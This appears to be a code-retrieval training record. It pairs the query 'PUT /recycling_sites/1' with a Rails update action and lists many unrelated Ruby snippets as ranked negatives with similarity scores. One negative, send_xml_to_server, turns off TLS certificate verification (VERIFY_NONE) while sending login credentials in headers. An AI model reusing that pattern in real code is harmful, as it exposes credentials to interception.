"def build_site(page_count, sitebuildtime, url, sitemap_url)\n # write all the HTML pages to files and build the site map\n sitemap = %(<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset\n xmlns=\"#{sitemap_url}\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"#{sitemap_url}\n #{sitemap_url}/sitemap.xsd\">\n <url>\n <loc>#{url}</loc>\n <lastmod>#{sitebuildtime}</lastmod>\n <priority>1.00</priority>\n </url>)\n (0..page_count).map do |i|\n file = File.open(\"index#{ii(i)}.html\", 'w')\n file.write(instance_variable_get(\"@page#{ii(i)}\"))\n file.close\n sitemap += %(\n <url>\n <loc>#{url}index#{ii(i)}.html</loc>\n <lastmod>#{sitebuildtime}</lastmod>\n <priority>0.80</priority>\n </url>)\n end\n sitemap += '\n</urlset>'\n file = File.open('sitemap.xml', 'w')\n file.write(sitemap)\n file.close\n file = File.open('robots.txt', 'w')\n file.write(\"Sitemap: #{url}sitemap.xml\")\n file.close\nend",
"def POST; end",
"def scrape(options = nil)\n @max_blog_entries = options[:max_blog_entries] if options != nil\n @completed = false\n \n #TODO: pw should be optional\n page = login #if @pw != nil #only do the login thing if you have pw\n page =goto_weblog(page)\n \n #create new xml document from template\n #at some point in future, you want to pass in non-default options here\n create_new_xml_document\n \n scrape_1_page(page)\n next_link = page.links.reject{|i| i.to_s != \"Next 5 >>\" }\n while next_link.size == 1 and @completed != true do\n sleep(1)\n p \"clicking on next link: #{next_link[0].uri.to_s}\"\n page = @agent.click(next_link[0])\n scrape_1_page(page)\n \n #now update the next_link\n next_link = page.links.reject{|i| i.to_s != \"Next 5 >>\" }\n end\n \n #dump @doc out as the output\n file = File.new(\"wordpress.#{Time.now.strftime(\"%Y-%m-%d\")}.xml\", \"w+\")\n file.puts( @doc.inner_html )\n file.close\n \n @doc\n end",
"def create\n #returning connection.post(collection_path, to_xml, self.class.headers) do |response|\n returning connection.post(collection_path, to_ssj, self.class.headers) do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end",
"def create\n @site = Site.new(params[:site])\n \n # Domain Name\n re='((?:[a-z][a-z\\\\.\\\\d\\\\-]+)\\\\.(?:[a-z][a-z\\\\-]+))(?![\\\\w\\\\.])'\t\n @m=Regexp.new(re,Regexp::IGNORECASE)\n @host = @m.match(@site.linkws)[1] \n @site.host = @host\n \n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @site_attribute = @site.site_attributes.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_attribute }\n end\n end",
"def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end",
"def create\n megam_rest.post_node(to_hash)\n end",
"def addLogsBatchXML(collection=\"lclsLogs\", dizList, bulk: false)\n uri = URI.parse(\"http://#{@host}:#{@port}/solr/#{collection}/update\") \n # uri = URI.parse(\"http://psmetric04:8983/solr/lclsLogs/update\") \n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/xml')\n req.body = formatLogBatchAsXML(dizList)\n # puts req.body \n # res = http.request(req, xml: formatLogBatchAsXML(dizList) )\n res = http.request(req)\n # puts \"response: #{res.body}\"\n return [dizList.length, req.body.size, res]\n end",
"def new_site\n \n end",
"def create\n @scraper = Scraper.new(params[:scraper])\n\n respond_to do |format|\n if @scraper.save\n format.html { redirect_to(@scraper, :notice => 'Scraper was successfully created.') }\n format.xml { render :xml => @scraper, :status => :created, :location => @scraper }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @scraper.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_webform_url\n '/node/add/webform'\n end",
"def index\n @selector_sites = SelectorSite.curr_ver.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @selector_sites }\n end\n end",
"def send_xml_to_server(server, xml)\n http = Net::HTTP.new(server.host, 8443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n headers = {\n 'HTTP_AUTH_LOGIN' => server.username,\n 'HTTP_AUTH_PASSWD' => server.password,\n 'Content-Type' => 'text/xml',\n }\n\n path = \"/enterprise/control/agent.php\"\n res, data = http.post2(path, xml, headers)\n return res.body\n end",
"def post_to_newgistics\n document = Spree::Newgistics::DocumentBuilder.build_product([self])\n response = Spree::Newgistics::HTTPManager.post('/post_products.aspx', document)\n\n if response.status == 200\n errors = Nokogiri::XML(response.body).css('errors').children.any?\n update_column(:posted_to_newgistics, true) unless errors\n end\n\n end",
"def new\n @website = Website.new params[:website]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @website }\n end\n end",
"def new_site_create(params={})\n study_study_sites.set params[:site_name]\n site_number.set params[:site_number]\n study_site_number.set params[:study_site_number]\n end",
"def update\n @recycling_site = RecyclingSite.find(params[:id])\n\n respond_to do |format|\n if @recycling_site.update_attributes(params[:recycling_site])\n flash[:notice] = 'RecyclingSite was successfully updated.'\n format.html { redirect_to(@recycling_site) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @recycling_site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end"
] |
[
"0.6061592",
"0.574245",
"0.5727222",
"0.56636345",
"0.556715",
"0.5460426",
"0.54054874",
"0.5374863",
"0.5331316",
"0.5296133",
"0.5281006",
"0.5262247",
"0.5231971",
"0.51727146",
"0.5155486",
"0.5155486",
"0.5155486",
"0.514781",
"0.5140979",
"0.51290315",
"0.5101981",
"0.5090047",
"0.5064628",
"0.5062461",
"0.5056939",
"0.5047536",
"0.5037331",
"0.5026038",
"0.5015681",
"0.49995184",
"0.49945256",
"0.4982209",
"0.49820873",
"0.4973277",
"0.49709496",
"0.49686298",
"0.49626487",
"0.4956021",
"0.49388573",
"0.49387425",
"0.49341244",
"0.49338874",
"0.49333772",
"0.49328536",
"0.49316293",
"0.4928269",
"0.4921308",
"0.49052325",
"0.49045965",
"0.4894462",
"0.48906663",
"0.4888702",
"0.48825604",
"0.48825604",
"0.48825604",
"0.48825604",
"0.48825604",
"0.48825604",
"0.48825604",
"0.48825604",
"0.4879003",
"0.4877634",
"0.48752317",
"0.48676556",
"0.48638013",
"0.48525482",
"0.48503155",
"0.48503155",
"0.48503155",
"0.48503155",
"0.48503155",
"0.4850263",
"0.48490694",
"0.48453182",
"0.48453182",
"0.48453182",
"0.48453182",
"0.48453182",
"0.48438296",
"0.4842379",
"0.48414165",
"0.48406684",
"0.48281914",
"0.4825499",
"0.4810316",
"0.48085514",
"0.48016086",
"0.4794738",
"0.4793737",
"0.47841114",
"0.47830454",
"0.4780826",
"0.47741395",
"0.4773865",
"0.4769893",
"0.47640806",
"0.47636318",
"0.475944",
"0.4759081",
"0.47517517"
] |
0.61353314
|
0
|
PUT /recycling_sites/1 PUT /recycling_sites/1.xml
|
def update
@recycling_site = RecyclingSite.find(params[:id])
respond_to do |format|
if @recycling_site.update_attributes(params[:recycling_site])
flash[:notice] = 'RecyclingSite was successfully updated.'
format.html { redirect_to(@recycling_site) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @recycling_site.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n @site = Site.first\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(root_url, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put_update(options = {})\n options[:id] ||= @website.id\n options[:website] ||= @attributes\n\n put :update,options\n end",
"def update\n @site = Site.find(id_from_params)\n\n respond_to do |format|\n current_user.account.sites.delete(@site)\n current_user.account.sites << @site\n if current_user.account.sites.exists? @site\n format.html { redirect_to root_path, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(@site, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(@site, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(@site, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(@site, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(@site, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n flash[:notice] = 'Site was successfully updated.'\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n flash[:notice] = 'Site was successfully updated.'\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n \n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n flash[:notice] = 'Site was successfully updated.'\n Changelog.add(@current_user.login, \"Updated the #{@site.name} site\")\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end",
"def update\n params[:site][:virtualhost] = nil if params[:site][:virtualhost] =~ /^\\s*$/\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n flash[:notice] = 'Site was successfully updated.'\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\t\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend",
"def edit_carbonXML(carbon_home,url_port,url_contextRoot,contextRoot) \n\tFile.open(File.join(carbon_home , 'conf','carbon.xml')) do |config_file|\n\t\t# Open the document and edit the port (carbon.xml)\n\t\tconfig = Document.new(config_file)\n\t\tif !url_port.eql? \"\"\n\t\t\tconfig.root.elements['ServerURL'].text = 'https://localhost:' + url_port + url_contextRoot + '/services/'\n\t\tend\t\t\n\t\t\tconfig.root.elements['WebContextRoot'].text = contextRoot\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_carbon.xml'), 'w') do |result|\n\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','carbon.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_carbon.xml'),File.join(carbon_home , 'conf','carbon.xml') )\n\n\nend",
"def override\n document_id = params[:document_id]\n document = params[:document]\n document_type = params[:document_type]\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename if document\n xml.summary document_type\n if document\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n end\n }\n end\n\n url = Document::PATH + \"cmis/i/#{document_id}?alf_ticket=\" + ticket\n\n begin\n RestClient.put url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error updating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(@site, :notice => 'Site was successfully updated.') }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render :action => '#edit' }\n format.json { render :json => @site.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end",
"def update\n @selector_site = SelectorSite.find(params[:id])\n\n respond_to do |format|\n if @selector_site.update_attributes(params[:selector_site])\n flash[:notice] = 'SelectorSite was successfully updated.'\n format.html { redirect_to(@selector_site) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @selector_site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def update\n raise UnknownSite, \"Site not existent in Piwik yet, call 'save' first\" if new?\n raise ArgumentError, \"Name can not be blank\" if name.blank?\n raise ArgumentError, \"Main URL can not be blank\" if main_url.blank?\n xml = call('SitesManager.updateSite', :idSite => id, :siteName => name, :urls => main_url)\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n result['success'] ? true : false\n end",
"def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to(@sitio, :notice => 'Sitio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sitio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n connection.put(element_path, to_xml)\n end",
"def update\n @site = Site.find_by_site(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @orbituarysite = Orbituarysite.find(params[:id])\n\n respond_to do |format|\n if @orbituarysite.update_attributes(params[:orbituarysite])\n format.html { redirect_to @orbituarysite, notice: 'Orbituarysite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orbituarysite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n redirect_to \"/sites\" and return\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sitetype = Sitetype.find(params[:id])\n\n respond_to do |format|\n if @sitetype.update_attributes(params[:sitetype])\n flash[:notice] = 'Sitetype was successfully updated.'\n format.html { redirect_to(@sitetype) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sitetype.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(id:, url_variables:, body:)\n ensure_service_document\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #retrieve the site thanks to params[:id]\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update(site_params)\n #1st argument of redirect_to is an array, in order to build the correct route to the nested resource site\n format.html { redirect_to([@site.customer, @site], :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end",
"def update\n @node_rack = @object\n\n respond_to do |format|\n if @node_rack.update_attributes(params[:node_rack])\n flash[:notice] = 'NodeRack was successfully updated.'\n format.html { redirect_to node_rack_url(@node_rack) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node_rack.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, :notice => 'Site was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\", :layout=>\"site\"}\n format.json { render :json => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.scopied.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = current_user.sites.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n name = Server.find(params[:id]).name\n n = Neography::Node.find('servers', 'name', name)\n n.name = server_params[:name]\n n.add_to_index('servers', 'name', server_params[:name]) #TODO: is this necessary?\n if @server.update(server_params)\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @node_config = NodeConfig.find(params[:id])\n\n respond_to do |format|\n if @node_config.update_attributes(params[:node_config])\n format.html { redirect_to(@node_config, :notice => 'NodeConfig was successfully updated.') }\n format.json { render :json => @node_config, :status => :ok }\n format.xml { render :xml => @node_config, :status => :ok }\n else\n format.xml { render :xml => @node_config.errors, :status => :unprocessable_entity }\n format.any { render :json => @node_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n @site.logo = params[:logo]\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to(@site, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @service = Service.find(params[:id])\n system_site_map = SystemSiteMap.where( :parameter => params[:id] ).first\n \n package_content\n \n respond_to do |format|\n if @service.update_attributes(params[:service])\n system_site_map.update_attributes(:title => @service.title)\n format.html { redirect_to({:action=>:show}, notice: t(\"helpers.notice.update\")) }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @site.update(params)\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { render json: { result: :ok, notice: 'changes saved succesfully', site: @site } }\n else\n format.html { render :edit }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site.update(site_params)\n format.html { redirect_to xmt_press_sites_url, notice: '站点更新成功.' }\n format.json { render :show, status: :ok, location: @site }\n else\n format.html { render :edit }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @early_vote_site = EarlyVoteSite.find(params[:id])\n\n respond_to do |format|\n if @early_vote_site.update_attributes(params[:early_vote_site])\n format.html { redirect_to @early_vote_site, notice: 'EarlyVoteSite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @early_vote_site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = current_user.sites.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { flash_and_redirect(\"successfully updated!\", sites_url) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_transportXML(carbon_home,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','transports.xml')) do |config_file|\n\t\t# Open the document and edit the port (transport.xml)\n\t\tdoc= Document.new(config_file)\n\t\t\t\n\t\tif doc.root.elements['transport'].attributes['name'].eql? \"https\"\n\t\t\tdoc.root.elements['transport'].elements[\"parameter\"].text=https_port\n\t\telse\n\t\t\tputs \"Cannot find https transport element in transport.xml\"\n\t\t\texit\n\t\tend\t\t\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_transports.xml'), 'w') do |result|\n\t\tformatter.write(doc, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','transports.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_transports.xml'),File.join(carbon_home , 'conf','transports.xml') )\nend",
"def update_xml_from_api(tries: 5)\n url = \"#{BASE_URL}/show/#{nct_id}?resultsxml=true\"\n attempts = 0\n content = nil\n begin\n attempts += 1\n s = Time.now\n content = Faraday.get(url).body\n puts \" fetch #{Time.now - s}\"\n rescue Faraday::ConnectionFailed\n return false if attempts > 5\n retry\n end\n xml = Nokogiri::XML(content)\n if xml.xpath('//clinical_study').length > 0\n self.content = content\n return false unless changed?\n return update content: content\n else\n # add error\n end\n end",
"def edit_transportXML(carbon_home,https_port) \n\n\n\tFile.open(File.join(carbon_home , 'conf','transports.xml')) do |config_file|\n\t\t# Open the document and edit the port (transport.xml)\n\t\tdoc= Document.new(config_file)\n\t\t\t\n\t\tif doc.root.elements['transport'].attributes['name'].eql? \"https\"\n\t\t\tdoc.root.elements['transport'].elements[\"parameter\"].text=https_port\n\t\telse\n\t\t\tputs \"Cannot find https transport element\"\n\t\t\texit\n\t\tend\t\t\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_transports.xml'), 'w') do |result|\n\t\tformatter.write(doc, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','transports.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_transports.xml'),File.join(carbon_home , 'conf','transports.xml') )\nend",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def update\n @site = Site.find(params[:id])\n flash[:notice] = \"Site was successfully updated.\" if @site.update_attributes(params[:site])\n respond_with(@site)\n end",
